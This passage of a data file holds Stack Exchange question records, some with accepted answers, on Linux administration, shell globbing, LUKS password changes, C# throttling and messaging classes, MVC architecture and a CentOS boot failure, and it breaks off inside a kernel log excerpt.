{  "id": "_unix.268165"  , "question": "I want to be able to logout inactive sessions on my webserver.I have done this like so:  13. Restrict idle users. Timeout after a certain pre-defined amount of time.a. In the directory /etc/profile.d:i. Create a file called autologout.sh and add the following lines:TMOUT=300readonly TMOUTexport TMOUTThis sets autologout settings for the bash shell.ii. Create a file called autologout.csh and add the following lines:set -r autologout 5iii. Add execute privileges to both files with: sudo chmod +x /etc/profile.d/autologout.*    I notice that the above lines log the user out only from the current active account and not terminate the session completely.eg.) If I sudo-ed to root, I am logged out of root and returned to my user account. Can I log the user out completely? If so, how do I do it?"  , "title": "Inactivity-based auto logout from all sessions"  , "tags": "bash;logout"  , "accepted_answer": "Many years ago, I used to use a program called timeoutd to do exactly this.  It seems to have vanished from debian since I last used it (or maybe it was never in debian and I compiled it myself - I can't remember, I last used it in the mid-1990s).Anyway, I found a copy of it at:https://launchpad.net/ubuntu/+source/timeoutdIt is configurable with an /etc/timeouts file.  You can find the man page in the package, with the source, or at http://manpages.ubuntu.com/manpages/gutsy/man8/timeoutd.8.html"  } 
{  "id": "_webmaster.108304"  , "question": "I would like to remove the old cache of my webpage from Google search content. What would be the next step? "  , "title": "Remove outdated cache of my webpage"  , "tags": "google"  } 
{  "id": "_unix.34836"  , "question": "I used to send files in Unix to a printer with lp, and used -ofp16.16 or -ofp12 to change the size of the fonts. This does not work on Linux; what should I use instead?"  , "title": "How do I change the font size when using lp on Linux?"  , "tags": "linux;printing;fonts"  } 
{  "id": "_webapps.52725"  , "question": "Let's say we have some data in a spreadsheet like:  A         B          CPrice    Quantity    Genre 20        2500       Car    10        1000       Car 10        2500       BikeI can filter Cars with Quantity 2500 with FILTER(A:A;B:B=2500;C:C=Car) - easy.But what if there is another column, for postage, like:  A         B          C         DPrice    Quantity    Genre    Postage 20        2500       Car       0 10        1000       Car       6 10        2500       Bike      10I want to filter to find everything who's total price (postage+price) is 20, and I have 2500 of. I tried various combinations but can't seem to do it. Should I create a sum column first?"  , "title": "Filter by the sum of two cells in Google Spreadsheet"  , "tags": "google spreadsheets"  } 
{  "id": "_unix.18919"  , "question": "I'm new to VCS and I decided to give Mercurial a try. I signed up for bitbucket and created some repositories. The I created /home/max/hgrepo/ and ran hg clone http://bitbucket.org/[username]/[repository]That made a [repository] directory. I copied some source files into this directory. then I hg add, hg commit and hg push. Then I wanted to move my source files into a src directory instead of having them into the root dir. So I moved all the sources files down one directory to my src directory. I then ran hg add *, then hg commit and lastly hg push.The problem I have is that the old sources files in the root directory of my repo are still there. How do I remove them? I don't have them in my local repo anymore. Is there a way to fully sync my local repository and my remote one?"  , "title": "How to fully sync local repository using Mercurial (bitbucket)"  , "tags": "repository;version control;mercurial"  , "accepted_answer": "You can use the addremove command to mark missing files (those prefaced with a !) as removed.See the excellent Mercurial: the Definitive Guide chapter on tracking files.For future reference, there is a command to move files, hg mv."  } 
{  "id": "_unix.87200"  , "question": "I have a symlink with these permissions:lrwxrwxrwx 1 myuser myuser       38 Aug 18 00:36 npm -> ../lib/node_modules/npm/bin/npm-cli.js*The symlink is located in a .tar.gz archive. Now when I unpack the tar.gz archive using maven the symlink is no longer valid. I'm therefore trying to reconstruct the symlink. First I create the symlink using ln but how do I set the same permissions as the original symlink?"  , "title": "Change permissions for a symbolic link"  , "tags": "symlink;chmod"  , "accepted_answer": "You can make a new symlink and move it to the location of the old link.ln -s <new_location> npm2mv -f npm2 npmThat will preserve the link ownership. Alternatively, you can use chown to set the link's ownership manually.chown -h myuser:myuser npmOn most systems, symlink permissions don't matter. When using the symlink, the permissions of the components of symlink's target will be checked."  } 
{  "id": "_webapps.103423"  , "question": "I'm new at Chef and I'm trying to figure out how it can be charged. I'd like to launch my chef server using (for example) ec2 instance.But after couple hours of reading docs I've found:...When using more than 25 nodes, a configuration change to your Chef server needs to be made in order for your Chef server to be properly configured and recognize your purchased licenses. You will need to edit to your chef-server.rb file ...And I didn't get the meaning. So I run a chef server on my instance that costs something and I also have to pay for using chef solutions when my network will reach more than 25 instances? Also I read pricing part and ... it's quite expensive. It's okay, the software is brilliant as for me but I also want to understand what options and limitations it has. "  , "title": "Chef Server and additional charges"  , "tags": "amazon ec2"  } 
{  "id": "_codereview.157478"  , "question": "The idea of this class is that several threads are sending data over a network and each thread are sharing the same instance of this class and before sending N bytes over the network each thread is calling ThrottledWait(n).My worry is that each thread might run on different core and get different value for DateTime.UtcNow.Ticks. I am not 100% sure it's thread-safe.Also calling Thread.Sleep(ts) might sleep for longer than asked for and might cause traffic to not be smooth because of aliasing so we might want to do a thread.sleep() for less than the calculated amount and waste the remaining time checking DateTime.UtcNow.Ticks in a busy loop.public class Throttler{    // Use this constant as average rate to disable throttling    public const long NoLimit = -1;    // Number of consumed tokens    private long _consumedTokens;    // timestamp of last refill time    private long _lastRefillTime;    // ticks per period    private long _periodTicks;    private double _averageRate;    public long BurstSize    {        get;        set;    }    public long AverageRate    {        get { return (long)_averageRate; }        set { _averageRate = value; }    }    public TimeSpan Period    {        get        {            return new TimeSpan(_periodTicks);        }        set        {            _periodTicks = value.Ticks;        }    }    public Throttler()    {        BurstSize = 1;        AverageRate = NoLimit;        Period = TimeSpan.FromSeconds(1);    }    /// <summary>    /// Create a Throttler    /// ex: To throttle to 1024 byte per seconds with burst of 200 byte use    /// new Throttler(1024,TimeSpan.FromSeconds(1), 200);    /// </summary>    /// <param name=averageRate>The number of tokens to add to the bucket every interval. </param>    /// <param name=period>Timespan of on interval.</param>    /// <param name=burstSize></param>    public Throttler(long averageRate, TimeSpan period, long burstSize = 1)    {        BurstSize = burstSize;        AverageRate = averageRate;        Period = period;    }    public bool TryThrottledWait(long amount)    {        if (BurstSize <= 0 || _averageRate <= 0)        { // Instead of throwing exception, we just let all the traffic go            return true;        }        RefillToken();        return ConsumeToken(amount);    }    private bool ConsumeToken(long amount)    {        while (true)        {            long currentLevel = System.Threading.Volatile.Read(ref _consumedTokens);            if (currentLevel + amount > BurstSize)            {                return false; // not enough space for amount token            }            if (Interlocked.CompareExchange(ref _consumedTokens, currentLevel + amount, currentLevel) == currentLevel)            {                return true;            }        }    }    public void ThrottledWait(long amount)    {        while (true) {            if (TryThrottledWait(amount))            {                break;            }            long refillTime = System.Threading.Volatile.Read(ref _lastRefillTime);            long nextRefillTime = (long) (refillTime + (_periodTicks / _averageRate));            long currentTimeTicks = DateTime.UtcNow.Ticks;            long sleepTicks = Math.Max(nextRefillTime - currentTimeTicks, 0);            TimeSpan ts = new TimeSpan(sleepTicks);            Thread.Sleep(ts);        }     }    /// <summary>    /// Compute elapsed time using DateTime.UtcNow.Ticks and refil token using _periodTicks and _averageRate    /// </summary>    private void RefillToken()    {        long currentTimeTicks = DateTime.UtcNow.Ticks;        // Last refill time in  ticks unit        long refillTime = System.Threading.Volatile.Read(ref _lastRefillTime);        // Time delta in ticks unit        long TicksDelta = currentTimeTicks - refillTime;        long newTokens = (long)(TicksDelta * _averageRate / _periodTicks);        if (newTokens > 0)        {            long newRefillTime = refillTime == 0                ? currentTimeTicks                : refillTime + (long)(newTokens * _periodTicks / _averageRate);            if (Interlocked.CompareExchange(ref _lastRefillTime, newRefillTime, refillTime) == refillTime)            {                // Loop until we succeed in refilling newTokens tokens                while (true)                {                    long currentLevel = System.Threading.Volatile.Read(ref _consumedTokens);                    long adjustedLevel = (long)Math.Min(currentLevel, BurstSize); // In case burstSize decreased                    long newLevel = (long) Math.Max(0, adjustedLevel - newTokens);                    if (Interlocked.CompareExchange(ref _consumedTokens, newLevel, currentLevel) == currentLevel)                    {                        return;                    }                }            }        }    }}To throttle to 1024 byte per seconds with burst of 200 byte we would dovar throttler = new Throttler(1024,TimeSpan.FromSeconds(1), 200);Then each time we need to send some bytevoid Sendbytes(byte[] byteArray) {    throttler.ThrottledWait(byteArray.Length);    ...    // write the bytes}"  , "title": "Throttling class"  , "tags": "c#;thread safety"  , "accepted_answer": "I updated the code to solve some of the issue. For reference I am including the latest version below:public class Throttler{    // Use this constant as average rate to disable throttling    public const long NoLimit = -1;    // Number of consumed tokens    private long _consumedTokens;    // timestamp of last refill time    private long _lastRefillTime;    // ticks per period    private long _periodTicks;    private double _averageRate;    public long BurstSize    {        get;        set;    }    public long AverageRate    {        get { return (long)_averageRate; }        set { _averageRate = value; }    }    public TimeSpan Period    {        get        {            return new TimeSpan(_periodTicks);        }        set        {            _periodTicks = value.Ticks;        }    }    public Throttler()    {        BurstSize = 1;        AverageRate = NoLimit;        Period = TimeSpan.FromSeconds(1);    }    /// <summary>    /// Create a Throttler    /// ex: To throttle to 1024 byte per seconds with burst of 200 byte use    /// new Throttler(1024,TimeSpan.FromSeconds(1), 200);    /// </summary>    /// <param name=averageRate>The number of tokens to add to the bucket every interval. </param>    /// <param name=period>Timespan of on interval.</param>    /// <param name=burstSize></param>    public Throttler(long averageRate, TimeSpan period, long burstSize = 1)    {        BurstSize = burstSize;        AverageRate = averageRate;        Period = period;    }    public long TryThrottledWait(long amount)    {        if (BurstSize <= 0 || _averageRate <= 0)        { // Instead of throwing exception, we just let all the traffic go            return amount;        }        RefillToken();        return ConsumeToken(amount);    }    // Return number of consummed token    private long ConsumeToken(long amount)    {        while (true)        {            long currentLevel = Volatile.Read(ref _consumedTokens);            long available = BurstSize - currentLevel;            if (available == 0)            {                return 0;            }            long toConsume = amount;            if (available < toConsume)            {                toConsume = available;            }            if (Interlocked.CompareExchange(ref _consumedTokens, currentLevel + toConsume, currentLevel) == currentLevel)            {                return toConsume;            }        }    }    /// <summary>    /// Wait that works inside synchronous methods.     /// </summary>    /// <param name=amount>number of tokens to remove</param>    /// <returns>Returns once all Thread.Sleep have occurred</returns>    public void ThrottledWait(long amount)    {        long remaining = amount;        while (true)        {            remaining -= TryThrottledWait(remaining);            if (remaining == 0)            {                break;            }            TimeSpan ts = GetSleepTime();            Thread.Sleep(ts);        }    }    /// <summary>    /// Wait that works inside Async methods.     /// </summary>    /// <param name=amount>number of tokens to remove</param>    /// <returns>Returns once all Task.Delays have occurred</returns>    public async Task ThrottledWaitAsync(long amount)    {        long remaining = amount;        while (true)        {            remaining -= TryThrottledWait(remaining);            if (remaining == 0)            {                break;            }            TimeSpan ts = GetSleepTime();            await Task.Delay(ts).ConfigureAwait(false);        }    }    /// <summary>    /// Compute elapsed time using DateTime.UtcNow.Ticks and refil token using _periodTicks and _averageRate    /// </summary>    private void RefillToken()    {        long currentTimeTicks = DateTime.UtcNow.Ticks;        // Last refill time in  ticks unit        long refillTime = Volatile.Read(ref _lastRefillTime);        // Time delta in ticks unit        long TicksDelta = currentTimeTicks - refillTime;        long newTokens = (long)(TicksDelta * _averageRate / _periodTicks);        if (newTokens <= 0)        {            return;        }        long newRefillTime = refillTime == 0                ? currentTimeTicks                : refillTime + (long)(newTokens * _periodTicks / _averageRate);        // Only try to refill newTokens If no other thread has beaten us to the update _lastRefillTime          if (Interlocked.CompareExchange(ref _lastRefillTime, newRefillTime, refillTime) != refillTime)        {            return;        }        // Loop until we succeed in refilling newTokens tokens        // Its still possible for 2 thread to concurrently run the block below        // This is why we need to make sure the refill is atomic        while (true)        {            long currentLevel = Volatile.Read(ref _consumedTokens);            long adjustedLevel = Math.Min(currentLevel, BurstSize); // In case burstSize decreased            long newLevel = Math.Max(0, adjustedLevel - newTokens);            if (Interlocked.CompareExchange(ref _consumedTokens, newLevel, currentLevel) == currentLevel)            {                return;            }        }    }    /// <summary>    /// Get time to sleep until data can be sent again    /// </summary>    /// <returns>Timespan to wait</returns>    private TimeSpan GetSleepTime()    {        long refillTime = Volatile.Read(ref _lastRefillTime);        long nextRefillTime = (long)(refillTime + (_periodTicks / _averageRate));        long currentTimeTicks = DateTime.UtcNow.Ticks;        long sleepTicks = Math.Max(nextRefillTime - currentTimeTicks, 0);        TimeSpan ts = new TimeSpan(sleepTicks);        return ts;    }}"  } 
{  "id": "_scicomp.27188"  , "question": "I am trying to compute the one-dimensional energy spectra for my channel-flow simulation. I have already written a post-processing script to achieve this, however I need to validate my code before proceeding.To do so, I am taking the two-point cross correlation (per given plane) vector from a DNS database. Then, I am trying to apply my code and plot against the 1D energy spectra provided by the same database and in the same (homogeneous) direction. I am always getting the wrong output, but I cannot figure out what went wrong. I have looked into several reference books and forum posts here and there with no tangible result as of yet.The steps I am following are: Given a two-point cross-correlation vector in the streamwise (i.e. x-direction) and homogeneous direction, I am applying the following (e.g. in Matlab form):% where Ruu is the correlation vector from the DNS databaseN = length(Ruu);Nk = 2^nextpow2(N);% Fourier transform dataBx1 = zeros(Nk, 1); for k=1:Nk    for n=1:N        Bx1(k) = Bx1(k) + (1/N)*Ruu(n)*exp(-2i*pi*(k-1)*(n-1)/N);    endend% wavenumbers initializationkx = zeros(Nk, 1);% total distance between correlations usedLx = (max(x) - min(x));for n=1:Nk    % streawise coordinates to wavenumber    kx(n) = pi*(n-1)/Lx;end% calculate 1D streamwise energy spectraEu = Bx1.*conj(Bx1); % show only first half due to symmetryloglog(kx(1:end/2), 2*Eu(1:end/2))The resulting figure, in case you were wondering, is depicted below.The output of such figure is nowhere near what I am looking for. Can someone shed some insight on the issue ? Thank you !Reference DNS DataMoser, Robert D.; Kim, John; Mansour, Nagi N., Direct numerical simulation of turbulent channel flow up to $Re_{\\tau} = 590$, Phys. Fluids 11, No. 4, 943-945 (1999). ZBL1147.76463."  , "title": "1d turbulent energy spectra in homogenuous direction (non-isotropic)"  , "tags": "numerical analysis;fluid dynamics;computational physics;fourier analysis;statistics"  } 
{  "id": "_unix.264299"  , "question": "My directory variablePOSTMAP=/work/Documents/Projects/untitled\\ folder/untitled\\ folder/*/*_tsta.bamMy for statement:for file0 in ${POSTMAP}; do...It seems that the whitespace in 'untitled folder' messes with the globbing. I suspect this because file0 ends up being '/untitled'. Note that I have 'shopt -s extglob'."  , "title": "Globbing error due to whitespace"  , "tags": "bash;shell;quoting;wildcards"  , "accepted_answer": "It's not really messing up with the globbing. Here, by using $POSTMAP unquoted, you're using the split+glob operator.With the default value of $IFS, on your /work/Documents/Projects/untitled\\ folder/untitled\\ folder/*/*_tsta.bam, it will first split it into /work/Documents/Projects/untitled\\, folder/untitled\\ and folder/*/*_tsta.bam. Only the third one contains wildcard characters and thus be subject to the glob part. However, the glob would just search for files in the folder directory relative to the current directory.If you only want the glob part and not the split of that split+glob operator, set $IFS to the empty string. For that operator, backslash can't be used to escape $IFS separators (with bash (and bash only among Bourne-like shells), it can be used to escape wildcard glob operators though).So either:POSTMAP=/work/Documents/Projects/untitled folder/untitled folder/*/*_tsta.bamIFS=   # don't splitset +f # do globfor file0 in $POSTMAP # invoke the split+glob operatordo...Or probably better here with shells supporting arrays like bash, yash, zsh, ksh:postmap=(  '/work/Documents/Projects/untitled folder/untitled folder/'*/*_tsta.bam) # expand the glob at the time of that array assignmentfor file0 in ${postmap[@]} # loop over the array elementsdo...."  } 
{  "id": "_unix.387118"  , "question": "I have a ubuntu server with two ethernet cards, eth0 and eth1, and plan to use it as a DHCP server to create two different subnets, 192.168.10.0/255.255.255.0 and 192.168.100.0/255.255.255.0.Is it possible NOT to set the static address for eth0 and eth1 individually on the file /etc/network/interfaces and make the DHCP server work in any other case?"  , "title": "How to set dhcp server for multiple interface?"  , "tags": "isc dhcpd"  } 
{  "id": "_webmaster.87135"  , "question": "I buy a old domain name and I am going to start new blog on it.Currently, it has more than 100 pages indexed by Google.How to remove all of them before start my site? "  , "title": "Buy new domain, how remove already indexed pages?"  , "tags": "seo;domains"  } 
{  "id": "_unix.125016"  , "question": "I'm a newbie at Encfs.After I read a paper about Encfs, I figured out there is a Encryption layer in Encfs.So I tried to find exact encryption function. but I couldn't find that because there are many functions. Does anyone have any idea or advice?"  , "title": "What is the encryption function in Encfs?"  , "tags": "filesystems;encryption;fuse;encfs"  } 
{  "id": "_unix.356034"  , "question": "I am a beginner in linux and i have only used ubuntu (with unit and gnome as DE).I have heard people saying that ubuntu are for beginners and advanced users use fedora, open suse or arch.But all the difference i have seen is that the desktop environments are different and the package managers are different(ubuntu using apt, fedora using yum and arch using packman).so my question is how are these distributions different if we fix the above lying DE(which interacts with the user) to gnome?What is the actual difference apart from the desktop environment between different distributions of linux?"  , "title": "what is the exact difference between different distributions?"  , "tags": "distributions"  , "accepted_answer": "Distributions usually start with a philosophy: to provide the most stable desktop, to provide the newest packages, to be the best Do-It-Yourself distribution, to fix the problems in another distribution, to be the best long-term-supported server distribution and so on. The packages, their versions, and any distro-specific behaviors (like the package manager) all fall out from that basic philosophy.If you're looking for the right distribution for you, you should look for the one whose philosophy matches your own requirements or desires. Detailed comparisons of the specific differences between individual releases of distributions tend to be short-lived as each distro rolls to a new version (and therefore a bad fit for Stack Exchange answers)."  } 
{  "id": "_unix.314199"  , "question": "Under XFCE, xdg-open calls exo-open. When exo-open is called with --launch is uses the application set with xfce4-settings-manager.However, when one calls exo-open foo.txt (local path, without --launch), how is the corresponding application selected?"  , "title": "What is the selected application for XFCE's exo-open?"  , "tags": "xfce;file opening"  } 
{  "id": "_softwareengineering.284402"  , "question": "First of all, the basics.N-tier application: presentation, business layer, database. It is an old .NET 2.0 (WSE + WinForms) application, a bit more tightly coupled than I'd like, and the requirement is to upgrade it to a newer architecture, while at the same time eliminating the less-than-ideal design choices made 10+ years ago (e.g. use DTOs instead of datatables/DB views directly on the client etc.).I'm thinking of going by the following design, in broad strokes: Create a business logic layer class that will include all business logic, validations etc., using a data access class for CRUD operations.Expose this BLL using a WCF service layer as a wrapper for its methods.Consume the WCF service by the new client (WPF probably).To centralize all WCF-related operations in the client project, I will create a helper class that handles the connection to the WCF service and acts like a Faade to the service operations. Now, at the same time, there will be a new Web application (MVC) that will use some of the operations defined in the BLL. However, due to outsourcing and other reasons out of the scope of this question, what I particularly don't want is for the MVC controller developer to use (or even know of) e.g. BLLAssembly.WCFOnlyMethod(). Conversely, I wouldn't want the WCF service developer to be able to use BLLAssembly.WebOnlyMethod(). I guess both of those cases can be covered by using conditional compilation symbols in the BLL assembly (e.g. WEB_ONLY / WCF_ONLY), but of course this means two different versions of it, one for each project.So, my question is: Given the fact that there will be a single BLL in order to maximize code reuse, what is the optimal approach for referencing the BLL from the WCF service and the MVC controller?The WCF service will have a hard-reference to the BLL, that much I can say with relative certainty. Client-side, the helper class will have a reference to the WCF service interface, which will be implemented by the proxy. That way the WPF client is not affected by internal changes in the BLL, as it should be.Should the MVC controller have a hard-reference to (its version of) the BLL assembly as well?Should I use a WCF service for the MVC project, as discussed here (Is this breaking SOA?) or is that overkill? The production server(s) will be the same for both projects.Should I have the MVC controller reference an interface, instead of the actual BLL assembly? I would still need to instantiate an actual class implementing that interface, of course, so somehow the assembly should be passed to the MVC project... or I could use a WCF service (see above).Or should I abandon the notion of a common BLL between the projects altogether?Thanks in advance for any advice. "  , "title": "Advice on architecture (WCF / MVC)"  , "tags": "architecture;mvc;wcf;service"  , "accepted_answer": "You can have a common BLL component, exposed as a web service quite happily. Simply expose 2 interfaces on the WCF side of things that are implemented by the same methods in the BLL. Both thick clients and the MVC website will make calls to this common WCF webservice, but each using a different interface.So you have a Website only web service the web site can call, and another one for the thick clients. Only allow the website devs to access the first service by not giving them the security keys to access it - you'll have some form of security to prevent unauthorised users but you'll also have some for of security to restrict access to rogue applications too."  } 
{  "id": "_softwareengineering.246339"  , "question": "What is the best practice, when it comes to views' translation in MVC design pattern, in multilingual website:Always have only one view file and translate its particular strings with a framework translation function.Always have as many views as website supports, directly translated, one for each language, and let framework internals load particular language-specific view file for language currently selected by user.Which of these two options should I use (if there isn't any third one) and why?"  , "title": "Translating views in MVC"  , "tags": "mvc;view;translate"  , "accepted_answer": "The proper choice is using the single view with the strings stored in the appropriate localization framework for the view.There are two main reasons for this:It's DRY.  There is one view that is used for all the languages.  Consider the joys you will have when you need to change the layout on the view if you have one for each language... you've likely got English and then the FIGS set... and possibly CJK too... That's eight copies of the same view.  You're going to miss one and you're going to make a mistake in another one.  One view.The industry behind localization is based on taking a file of strings and translating that file.  You might have this person in house instead... either way, they aren't programers.  The markup for the view itself - be it php, jsp, erb, or a chunk of javascript.  You don't want to be sending them your code, and you don't want them making mistakes in translating your variables, styles, and structures (<font color=black>test</font> becomes <fuente colorido=negro>prueba</fuente>).  You, the programmer understand what needs to be translated and what does and giving just this to the person doing the translation makes it less likely to introduce errors.Use the localization framework.  It will make it easier for you, it will make it easier for the person doing the translations."  } 
{  "id": "_codereview.73838"  , "question": "This is a follow up to:Messenger supporting notifications and requestsShoot the Messenger pt. 2I've written a lightweight (I think) class that acts as a messenger service between classes for both notifications (fire and forget updates to other classes) and requests (a notification sent out that expects a returned value).Since the last question, I've extracted two interfaces out of the messenger, IMessenger, that handles sending and receiving messages and IRequester, that handles sending and receiving requests.IMessenger/// <summary>/// Interface for strongly-typed messengers./// </summary>public interface IMessenger{    /// <summary>    /// Register an action for a message.    /// </summary>    /// <typeparam name=T> Type of message to receive. </typeparam>    /// <param name=action> The action that happens when the message is received. </param>    void Register<T>(Action<T> action);    /// <summary>    /// Sends the specified message.    /// </summary>    /// <typeparam name=T> The type of message to send. </typeparam>    /// <param name=message> The message to send. </param>    void Send<T>(T message);    /// <summary>    /// Unregister an action.    /// </summary>    /// <typeparam name=T> The type of messag to unregister from. </typeparam>    /// <param name=action> The action to unregister. </param>    void Unregister<T>(Action<T> action);}IRequester/// <summary>/// Interface for strongly-typed central hubs that support anonymous registry of functions to handle requests./// </summary>public interface IRequester{    /// <summary>    /// Register a function for a request message.    /// </summary>    /// <remarks>    /// Request messages have a return value.    /// </remarks>    /// <typeparam name=T> Type of message to receive. </typeparam>    /// <typeparam name=R> Return type of the request. </typeparam>    /// <param name=request> The function that fulfils the request. </param>    void Register<T, R>(Func<T, R> request);    /// <summary>    /// Send a request.    /// </summary>    /// <typeparam name=T> The type of the parameter of the request. </typeparam>    /// <typeparam name=R> The return type of the request. </typeparam>    /// <param name=parameter> The parameter. </param>    /// <returns> The result of the request. </returns>    IEnumerable<R> Request<T, R>(T parameter);    /// <summary>    /// Unregister a request.    /// </summary>    /// <typeparam name=T> The type of request to unregister. </typeparam>    /// <typeparam name=R> The return type of the request. </typeparam>    /// <param name=request> The request to unregister. </param>    void Unregister<T, R>(Func<T, R> request);}I've made the instance variables use interfaces instead of concrete types for more flexibility down the line, and I've cached the typeof(T) operation instead of calling it multiple times.I've also filled out the comments to better represent what was going on and correctly marked my instance collections as readonly.Messenger/// <summary>/// Strongly-typed messenger that also allows for IoC Service Locator requesting./// </summary>public class Messenger : IMessenger, IRequester{    /// <summary>    /// The actions. These are called when a message is sent.    /// </summary>    private readonly IDictionary<Type, Delegate> actions = new Dictionary<Type, Delegate>();    /// <summary>    /// The functions. These are called when a request is sent.    /// </summary>    private readonly IDictionary<Type, ICollection<Delegate>> functions = new Dictionary<Type, ICollection<Delegate>>();    /// <summary>    /// Register a function for a request message.    /// </summary>    /// <remarks>    /// Request messages have a return value.    /// </remarks>    /// <typeparam name=T> Type of message to receive. </typeparam>    /// <typeparam name=R> Return type of the request. </typeparam>    /// <param name=request> The function that fulfils the request. </param>    public void Register<T, R>(Func<T, R> request)    {        if (request == null)        {            throw new ArgumentNullException(request);        }        var requestType = typeof(T);        if (functions.ContainsKey(requestType))        {            functions[requestType].Add(request);        }        else        {            functions.Add(requestType, new Collection<Delegate>() { request });        }    }    /// <summary>    /// Register an action for a message.    /// </summary>    /// <typeparam name=T> Type of message to receive. </typeparam>    /// <param name=action> The action that is executed when the message is received. </param>    public void Register<T>(Action<T> action)    {        if (action == null)        {            throw new ArgumentNullException(action);        }        var messageType = typeof(T);        if (actions.ContainsKey(messageType))        {            actions[messageType] = Delegate.Combine(actions[messageType], action);        }        else        {            actions.Add(messageType, action);        }    }    /// <summary>    /// Send a request.    /// </summary>    /// <typeparam name=T>The type of request being sent.</typeparam>    /// <typeparam name=R>Return type of the request.</typeparam>    /// <param name=parameter>The parameter for the request.</param>    /// <returns> A collection of results from the request. </returns>    public IEnumerable<R> Request<T, R>(T parameter)    {        var requestType = typeof(T);        if (functions.ContainsKey(requestType))        {            var applicableFunctions = functions[requestType].OfType<Func<T, R>>();            foreach (var function in applicableFunctions)            {                yield return function(parameter);            }        }    }    /// <summary>    /// Sends the specified message.    /// </summary>    /// <typeparam name=T> The type of message. </typeparam>    /// <param name=message> The message to send. </param>    public void Send<T>(T message)    {        var messageType = typeof(T);        if (actions.ContainsKey(messageType))        {            ((Action<T>)actions[messageType])(message);        }    }    /// <summary>    /// Unregister from a request.    /// </summary>    /// <typeparam name=T> The type of request to unregister from. </typeparam>    /// <typeparam name=R> The return type of the request to unregister from. </typeparam>    /// <param name=request> The request to unregister. </param>    public void Unregister<T, R>(Func<T, R> request)    {        var requestType = typeof(T);        if (functions.ContainsKey(requestType) && functions[requestType].Contains(request))        {            functions[requestType].Remove(request);        }    }    /// <summary>    /// Unregister an action.    /// </summary>    /// <typeparam name=T> The type of message. </typeparam>    /// <param name=action> The action to unregister. </param>    public void Unregister<T>(Action<T> action)    {        var messageType = typeof(T);        if (actions.ContainsKey(messageType))        {            actions[messageType] = (Action<T>)Delegate.Remove(actions[messageType], action);        }    }}Example UsageUnchanged from before:public class Receiver{    public Receiver(Messenger messenger)    {        messenger.Register<string>(x =>            {                Console.WriteLine(x);            });        messenger.Register<string, string>(x =>            {                if (x == hello)                {                    return world;                }                return who are you?;            });        messenger.Register<string, string>(x =>        {            if (x == world)            {                return hello;            }            return what are you?;        });    }}public class Sender{    public Sender(Messenger messenger)    {        messenger.Send<string>(Hello world!);        Console.WriteLine();        foreach (string result in messenger.Request<string, string>(hello))        {            Console.WriteLine(result);        }        Console.WriteLine();        foreach (string result in messenger.Request<string, string>(world))        {            Console.WriteLine(result);        }    }}"  , "title": "Shoot the Messenger Part 3"  , "tags": "c#"  , "accepted_answer": "I would implement those interfaces in separate classes. I see no interaction between the two implementations in your Messenger class, and they seem like two separate entities with different purpose. So there should be no reason to mix them into a single class. Have you considered using interfaces instead of Actions? Something like:interface IMessenger{    void Register<T>(IReceiver<T> receiver);    ...}interface IReceiver<T>{    void Handle(T message);}It requires some extra code to be written to register something, but it saves a lot of time debugging stuff, because you will work with strong types, instead of some arbitrary actions. At least in my experience (i used both approaches).I think any implementation of events aggregator must be thread-safe. Users of your interface will not be able to do the proper synchronization themselves. And your implementation will crash as soon there will be more than one thread in your application. :)It is usually a good idea to add a constraint to message type. Force your messages to implement some IMessage interface. This way you can a) easily find all the messages, that are currently in use, and b) forbid users of your interface to do this:messenger.Send<string>(Hello world!);//ormessenger.Send<int>(13);Can you guees what those messages represent? I know i can't. :) This is way better in my opinion:messenger.Send<WarningMessage>(new WariningMessage(The world is in danger!));//ormessenger.Send<UserChangedMessage>(new UserChangedMessage { UserId = 13 });"  } 
{  "id": "_unix.292384"  , "question": "I have a file which has a few lines.onetwothreefourfiveI need to add hostname of the server I'm working on as the first line of the file.For example if abcd555.india.com is the server, the output file should be like :abcd555.india.comonetwothreefourfiveHope my question is clear! I would be grateful to anyone who helps me out in this hour of need."  , "title": "How to add hostname as first line of a file"  , "tags": "vi;hostname;editors;columns"  } 
{  "id": "_unix.252672"  , "question": "I would like to change a LUKS password. I want to remove my old password, but I would like to try out my new password before removing the original. I obviously know the old password. I would like to use the terminal not GUI.I have sensitive data on the drive and would rather not have to use my backup so I need the method to be safe."  , "title": "How do I change a LUKS password?"  , "tags": "command line;password;luks"  , "accepted_answer": "In LUKS scheme, you have 8 slots for passwords or key files. First, check, which of them are used:cryptsetup luksDump /dev/<device> |grep BLEDThen you can add, change or delete chosen keys:cryptsetup luksAddKey /dev/<device> (/path/to/<additionalkeyfile>) cryptsetup luksChangeKey /dev/<device> -S 6As for deleting keys, you have 2 options:a) delete any key that matches your entered password:cryptsetup luksRemoveKey /dev/<device>b) delete a key in specified slot:cryptsetup luksKillSlot /dev/<device> 6"  } 
{  "id": "_unix.208321"  , "question": "I installed centos 7.1 on bare metal (dual boot with windows), with encrypted disk.  Installed a few things (oracle java) and did a full yum updateNow the system keeps booting to a console emergency mode.Welcome to emergency mode! After logging in, type journalctl -xb to viewsystem logs, systemctl reboot to reboot, systemctl default to try againto boot into default mode.Give root password for maintenance(or type Control-D to continue):journalctl didn't reveal anything salient.  systemctl default causes it to come back to the emergency mode.After the update, there are two version of the kernel.  Both go into emergency mode.   I was able to boot with the rescue kernel (gnome even comes up - looks normal).The only error I can find is in dmesg:[   16.434472] BUG: scheduling while atomic: swapper/0/0/0x10000100[   16.434510] Modules linked in: sr_mod sd_mod cdrom crc_t10dif radeon(+) crct10dif_pclmul crct10dif_common crc32_pclmul crc32c_intel i2c_algo_bit drm_kms_helper ghash_clmulni_intel ttm aesni_intel ahci lrw libahci gf128mul e1000e glue_helper drm libata ablk_helper firewire_ohci cryptd firewire_core crc_itu_t ptp i2c_core pps_core wmi video hid_logitech_dj sunrpc dm_mirror dm_region_hash dm_log dm_mod[   16.434515] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 3.10.0-229.el7.x86_64 #1[   16.434516] Hardware name: Dell Inc. Precision M4700/0DK7DT, BIOS A02 07/30/2012[   16.434523]  ffffffff818fc000 d91481999c9601df ffff88042dc03c58 ffffffff81604b0a[   16.434527]  ffff88042dc03c68 ffffffff815fec34 ffff88042dc03cc8 ffffffff81609d64[   16.434531]  ffffffff818fffd8 0000000000013680 ffffffff818fffd8 0000000000013680[   16.434532] Call Trace:[   16.434549]  <IRQ>  [<ffffffff81604b0a>] dump_stack+0x19/0x1b[   16.434554]  [<ffffffff815fec34>] __schedule_bug+0x4d/0x5b[   16.434559]  [<ffffffff81609d64>] __schedule+0x704/0x7b0[   16.434568]  [<ffffffff810a6876>] __cond_resched+0x26/0x30[   16.434573]  [<ffffffff8160a21a>] _cond_resched+0x3a/0x50[   16.434578]  